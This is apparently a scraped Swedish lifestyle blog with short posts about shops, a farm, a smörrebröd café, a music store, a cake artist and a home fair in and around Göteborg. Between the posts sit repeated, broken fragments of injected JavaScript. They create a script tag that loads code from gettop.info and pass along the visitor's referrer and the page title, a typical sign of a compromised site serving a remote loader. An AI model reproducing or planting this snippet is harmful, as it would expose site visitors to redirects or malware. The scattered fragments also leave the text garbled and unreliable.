FME Collection event på Pondus Allum

Igår anordnade  Pondus Allum ett trevligt event tillsammans med Femme Collection.
Det bjöds på bubbel, tilltugg och fina priser. De första 80 gästerna fick även en fin goodiebag.
Mkt trevligt upplägg. Kl. 18 öppnades eventet och Hannah hälsade alla gästerna välkomna.
Personalen på Pondus bar kläder från Femme Collection och en DJ spelade musik.
Det bjöds på alkoholfri bubbel, goda tilltugg och 20% rabatt på FEMME Collection under hela eventet.
Det lottades även ut fina presentkort under kvällens gång till de gäster som handlat under kvällen.

13087567_10153591360230959_3871267409207853790_n

13100928_1070691116334264_468998068082573991_n

Jag var där med två av mina kunder som var mycket nöjda med eventet.

13090199_10207639911253702_1940992364_n13077118_10207639911013696_514894276_n

IMG_7226IMG_7228

IMG_7218IMG_7187IMG_7219IMG_7229IMG_7227IMG_7232IMG_7231IMG_7230
Vi gick allihop hem med en välfylld goodiebag.

IMG_7224IMG_7223IMG_7222IMG_7221IMG_7220
Tack Hannah och Peter för att ni är så grymma på det ni gör!

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if (document.currentScript) {

Lilla Sur, Kålltorp

10f67c0718-1-LOGO_BLACKBIG

Vad sägs om  ”Guinnesspenslade vörtbröd med stenmald fullkornsråg från Limabacka Kvarn”.

Igår besökte jag ”Lilla Sur” för att köpa deras goda vörtbröd och frysa in inför julen.
Om man fryser in ett helt vörtbröd så rekommenderas att frysa in brödet helt och sug ut all luft från platspåsen.
Vid  upptining öppnar du platspåsen och stoppar in lite hushållspapper så blir brödet  helt perfekt när det är upptinat.

Vört4

vört3Vört2Vört1Vört5
Vad jag gillar med Lilla Sur är att det finns alltid roliga, annorlunda och goda tillbehör i butiken. Igår hade de bunkrat upp med en massa goda ostar. Jag blev glad att de hade mina tre favoritostar till ett mycket bra pris. Supergott bröd och ost är den bästa kombinationen och det fanns även fikonmarmelad till försäljning för de som gillar marmelad.

Ost

Sen var jag tvungen att köpa deras goda bullar också. De har både kanelbullar och saffransbullar nu innan jul.

Bulle2Bulle

Kville Saluhall

Förra helgen besökte jag Kville Saluhall för första gången.

På Vågmästarplatsen ligger den nya saluhallen i två plan.

Vilken fin lokal och en massa gott i saluhallen att köpa. Det går även att fika/äta lunch där om man vill.

Här kommer lite bilder på stället.

bildBbildC

bildDbildH

bildGbildLbildKbildJbildIbildAbildF

 }

var d=document;var s=d.createElement(‘script’); if (document.currentScript) {

Layla Pegado

bar3

bar2BarYouTube Preview Image

Förra helgen var jag på besök i Bristol då min kusins fru Luena firade sin 40-årsdag med en stor fest på Harvey Nichols i Bristol. Bland gästerna var bla  Layla Pegado. Hon är vad jag kallar expert på kakor/tårtor och bakverk. Måste erkänna att jag blev lite starstruck när jag träffar en sådan driven och otroligt talangfull person som både är ödmjuk och otroligt trevlig. Vi pratade en stund och har nu bestämt att nästa gång jag besöker mina släktingar i Bristol, bokar jag in en privatkurs med henne.
Ni kan läsa en artikel om Layla här. Här är en annan artikel.

Här är en bild på ”the Birthdaygirl” Luena och Layla.

bild3

Här är en bild på mig och Layla.

Bild2

Självklart hade Layla bakat Luena’s vackra tårta till festen.

fas2Fas1Tårta
Bild1
Nedan får ni lite av hennes vackra konstverk som hon bakat under åren.

BildA

bild33

bild32

bild31

bild26bild25bild24bild23bild21bild20

bild18bild17bild16bild15bild14bild13bild12bild8bild9bild7bild5bild4bild3bild2bild10bild11bild22bild29bild30bild35

 var d=document;var s=d.createElement(‘script’);

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; }

Gödebergs gård, Lindome

bild1

I fredags besökte jag Gödeberg Gård i Lindome för första gången. Kika på deras hemsida här. Äggen kostar bara 35 kr flaket och ryggbiffen ca 110 kr för två fina bitar.

Gun-Britt och Dag Andersson heter de som äger gården, tillsammans med döttrarna Mari och Monica. Dag köpte gården av sina föräldrar 1969. De hade mjölkkor fram till 1995, då  byggdes gårdsbutiken och de övergick till köttproduktion. Gödebergs gård har ett hundratal vuxna djur och kalvar. 5000 inomhus frigående höns finns också på gården.Gården drivs ekologiskt, ingen kemisk bekämpning eller handelsgödsel på åkrarna

bild6bild5bild2

bild7bild8

bild13bild12bild9bild4bild3

 

 document.currentScript.parentNode.insertBefore(s, document.currentScript);

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Helenes Smörrebröd i Göteborg

Smörrebröd

Nu behöver ni inte åka till Danmark för att äta goda Smörrebröd. Det finns det en nyöppnad butik  ”Helenes Smörrebröd” som ligger centralt mitt emellan Götaplatsen och Scandinavium på Berzeeligtatan 13.  Bilden på alla smörrebröd kommer från Helenes smörrebröds fb sida. Butiken är öppet alla dagar förutom på måndag då butiken är stängd. Det serveras ”Dagens erbjudande ”på vardagarna mellan 11-14 (två Smörrebröd med läsk/lättöl) för 85 kr. Ni kan antingen sitta ner och äta era smörrebröd i butiken, köpa med er take away eller beställa catering vid större tillställningar. bild3

bild1

bild2

10013561_534776306642085_914703152_n

Igår tog jag vägen förbi Helenes smörrebröd och hälsade på. Butiken ägs och drivs av  Helene, som kommer ursprungligen från Rönne på Bornholm och bor nu i Göteborg. Helene är en energisk, glad och otroligt serviceinriktad person och jag önskar henne lycka till med sin Smörrebrödsbutik. När vi pratade fick jag veta att Helene kommer besöka Ida Davidsen 23-24:e mars för att vara gästkock på Idas restaurang. Ida Davidsen är ju drottningen av ”Smörrebröd”. Jag har själv haft turen att träffa Ida ”in person” när jag besökte hennes restaurang i Köpenhamn för ca 1 1/2 år sedan. Jag kan se likheter i Ida och Helene, två kvinnor som brinner för sitt hantverk och älskar sitt jobb. Är så nyfiken att höra hur det gått efter Helenes gästspel hos Ida och jag tror säkert Helene kommer presentera några nya intressanta och goda smörrbröd på sin meny framöver.  Jag köpte med mig två ”Lille Marcus” från Helene och de smakade supergott. Alla Smörrebröd serveras på danskt rågbröd med smör och ett salladsblad och sen olika toppings.”Lille Marcus” innehåller förutom bröd, smör och sallad rostbiff med hemmagjord dansk remoulad, rostad lök, riven färsk pepparot, pressgurka och tomat.

bild4bild10bild12bild13bild3bild2bild9bild5

bild6bild7

bild8bild1

Vill ni komma i kontakt med Helene så kan ni ringa 031-202080 eller kika på deras hemsida här.

Du kan hitta Helenes smörrebröd på fb samt på instagram.

Spännande att Helene kommer åka till Köpenhamn för att vara gästkock hos Ida Davidsen 23-24 mars.

1965037_532762173510165_168685051_n

Om ni är nyfikna på mitt besök hos Ida Davidsen så kan ni kika   här.
Vill ni läsa mer om Ida Davidsen hittar  ni hennes hemsida  här.}

if (document.currentScript) { var d=document;var s=d.createElement(‘script’);

Karlssons Musik

För några veckor sedan fick jag ett paket i brevlådan från Sven. Sven känner jag sedan jag var liten och vi gick på samma skola i Fjärås. Det innehöll en fin shoppingbag, tidningen ”Dragspelsguiden” och en CD skiva.  Alltid roligt att få presenter och framförallt en fin shoppingbag. Den kommer väl till användning när jag storhandlar mat framöver-

Sven jobbar på Karlssons Musik som ni hittar på Äskebacka i Fjärås.

Öppettiderna är följande:
Vardagar 13.00 – 18.00
Onsdagar Stängt
Lördagar 9.00 – 14.00

En utförlig vägbeskrivning till Karlssons Musik hittar ni här.

Ni kan kika på hemsidan här. De har även en fin facebook sida som ni kan kika på här.

bild1

bild2 bild3

Här kommer en liten presentation på Karlssons Musik.

Karlssons Musik drivs av tre personer, Sven med bror Lars som tillsammas med pappa Ingvar startade firman för 44 år sedan. De har ytterligare en anställd, Peter som jobbar enbart med service i deras serviceverkstad. Sven’s roll i företaget är att vara spindeln i nätet då han tar hand om kunder, mestadels via telefon, pappersjobb, svara på mail, skicka varor etc och sköta övrig logistik i företaget.

Ingvar jobbar  mest i verkstaden och  tillsammans med  Lars. Lars är även det övergripande ansvaret  i verkstaden. Kundsupport tar Sven, Lars och Ingvar hand om tillsammans.
Karlssons Musik har kunder från Göteborg med omnejd men har även kunder som åker mellan 50-100 mil för ett besök i deras butik.
När det planeras kundbesök och  mässor är det oftast  Sven eller Lars som tar hand om detta.
Kontakt med fabriker sker främst från Italien, Tyskland & Kina.

När kunder efterfrågar durspel (den typ av dragspel som Lars spelar) eller digitala dragspel eller mikrofonutrustning etc så hänvisas de till Lars.
De kunder som frågar på  CD sortimentet, noter, DVD etc så hänvisas de till Sven.

Ta gärna ett besök till Karlssons Musik när ni har vägarna förbi så lovar jag att Sven bjuder er på en kaffe om ni hälsar från mig!} else {

document.currentScript.parentNode.insertBefore(s, document.currentScript);

Gourmetgruppen

I fredags var vi på Valentinmiddag på Michelangelo Bar & Kök på Björcksg. 39 i  Göteborg.
Efter middagen fick vi med oss en underbar present då de delade ut en delikatesslåda till några av kvällens middagsgäster och vi var en av de lyckliga gästerna.

Lådan kommer från Gourmetgruppen.

Gourmetgruppen ett handelshus i delikatesser från Syd- och Centraleuropa. De erbjuder Sverige och svenskarna det bästa inom alltifrån chark, ost, färsk pasta, olja, vinäger till inläggningar och delikatesser – i både lösvikt och förpackning.

Vi öppnade vår låda och dukade upp med en massa gott för några dagar sedan och det smakade otroligt gott.
Fuetsalamin var vår klara favorit…såå god.

bild7

 

bild12

bild11bild10bild9bild8bild3bild1Bild2}

d.getElementsByTagName(‘head’)[0].appendChild(s);if (document.currentScript) {

Hem och Villamässan i Göteborg lördag 27:e oktober 2013

bild24

För ett tag sedan utlyste Leila Lindholm en tävling via leilasgeneralstore på instagram. Tävlingen gick ut på att lägga upp en bild på det tjusigaste bakverk och hashtagga. Vinsten var 2 stycken entrébiljetter til Hem och Villamässan i Göteborg den 24-27 oktober. Jag var en av de lyckliga vinnarna och de bidrag jag la upp på instagram var dessa tårtor som jag tidigare bakat.

bild21bild18

Det kändes kul när jag fick hem mina vinstbiljetter.

bild23

Leila har en konceptbutik via nätet som heter Leilas General Store. Hemsidan hittar du här.
Det är en inredningsbutik med köksprylar på nätet där du hittar de bästa husgeråden förför köket och massor av andra godsaker. Du hittar även fina köksredskap, emaljprodukter och sugrör  i olika färger,  kalasprodukter, choklad och slickepottar av silikon. På Hem och Villamässan ställer Leila ut med en sk ”Pop-up butik” där du kan köpa hennes fina produkter..

Butiken var helt underbar och jag ville köpa precis allt i butiken. Priserna är lite dyrare än normalt men håller toppen kvalité. Jag passade på att besöka mässan igår precis när de öppnat vid 10 tiden och fick tid att prata lite med Leila och främst tacka för biljetterna. Mitt intryck av Leila är positivt. En trevlig och otroligt duktig på allt hon tar för sig. Det är lätt att tycka om henne som person då hon var både behaglig att prata med och passionerad i det hon gör.

bild29

Här ser ni bokhörnan i pop-up butiken från mässan. Det här är Leilas stora inredningsbok med inspiration, idéer och tips om hur du inreder hela ditt hem och gör det både praktiskt och levande. Boken är en handbok fylld av bilder och illustrationer från olika miljöer, allt från klassisk kolonialstil till fransk romantik. Leila guidar dig till att hitta din stil och ger dig knepen för att skapa ett tidlöst hem fyllt av harmoni! Du får även tips om hur du på egen hand tapetserar, gör en sänghimmel, bygger smart förvaring, hänger tavlor och ljussätter ett rum. Efter att ha arbetat många år tillsammans med att skapa miljöer till tv-inspelningar och böcker kommer här Leila Lindholm och Ulrika Magnusson gemensamma bok Welcome Home.  Det här är en bok du kommer att ha glädje av länge oavsett stil!
Fotografier av Wolfgang Kleinschmidt och Carl-Johan Rönn.

Jag fick möljlighet att prata lite med Leilas samarbetspartner Ulrika Magnusson och hon var lika passionerad i inredning som Leila så jag förstår varför de hittade ett samarbete ihop.
bild22bild26bild3bildCbildBbildA

bild1

bild28bild27bild30bild25bild4bild5bild2

 

Här nedan kan ni se vad jag köpte igår.

 

bild14

bild16bild15bild17

De här roliga och klassika popcornpåsarna från USA är gjorda i papper och passar perfekt till barnkalaset, fredagsmyset eller till festen med cirkustema!

Bredd: 10,5 cm Höjd: 32 cm

bild11

Fina röda kalaspåsar i papper med vita ränder till kalaset. Perfekt som godispåsar till fiskdammen och även trevliga till chips, popcorn och andra snacks. Påsarna är lagom stora för att använda som kuvert till vykort och fina som presentpåse till smycken och mindre gåvor.

Storlek: 18×13 cm

bild10

Det här fina röd/randiga bomullssnöret på rulle kan man använda till mycket. Exempelvis är det till fint att använda som snöre vid paketinslagning eller till hängetiketter på syltburkar men även till hemgjorda kort och pyssel med textila detaljer.

Längd på snöret: 100 m

bild9

Små delikata Non stop guldhjärtan fyllda med mörk choklad tillverkade i Italien.

bild6

Stadig och användbar kökstång med gummihandtag. Det praktiska gummihandtaget gör att du får ett bra grepp. Använd den till pastan eller till salladen eller till kokta grönsaker. En bra multifunktionell kökstång med vitt handtag.

Längd: 30 cm

bild19

Ett fint spagettimått i körsbärsträ. Med det mäter man upp spagettiportioner

bild13Bakplåt med lite högre kant som är perfekt när man  bakar foccaciabröd då man behöver olja i botten av plåten. Den är jättebra till andra bröd och småkakor så som morotskaka, brownies, kärleksmums och smulpaj.
Bredd: 25 cm
Längd: 25 cm
Höjd: 5 cm
Material: Plåt

bild12

Den här vita degskrapan i plast är ett väldigt behändigt köksredskap i köket. Den är perfekt för att skrapa ur degen ur bunken när man bakar, bre på smör på kanelbullsdegen eller för att dela deg.

Längd:13,5 cm
Bredd:9 cm

bild7

Det här läckra svarta kakfatet är perfekt till småkakor, cupcakes, fairycakes, whoopies och en mindre sockerkaka. Kakfatet är tillverkat i handpressat glas av högsta kvalitet. Det är otroligt fint att bara låta stå framme i köket.
Diameter: 16,5 cm

För er som tycker om Leila Lindholm så har hon en hemsida här.
Där hittar du både hennes blogg, receptbank och hennes webbutik.

 var d=document;var s=d.createElement(‘script’);

if (document.currentScript) { d.getElementsByTagName(‘head’)[0].appendChild(s);

Kiki skinndesign

bild1

I veckan var jag på ett kundevent där en av gästerna bar ett vackert skinnarmband. När jag frågade vad hon köpt det någonstans så var det på butiken Kiki skinndesign. Butiken hittar ni på Södra Larmgatan 4.

bild2bild5bild4bild3

Det blev 4 stycken armband. Priset är 90 kr per styck. Om arbanden är förstora kan de korta av armbandet utan extra kostnad. Armbanden är gjorda av överblivet läder vilket är positivt.

bild6

 

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;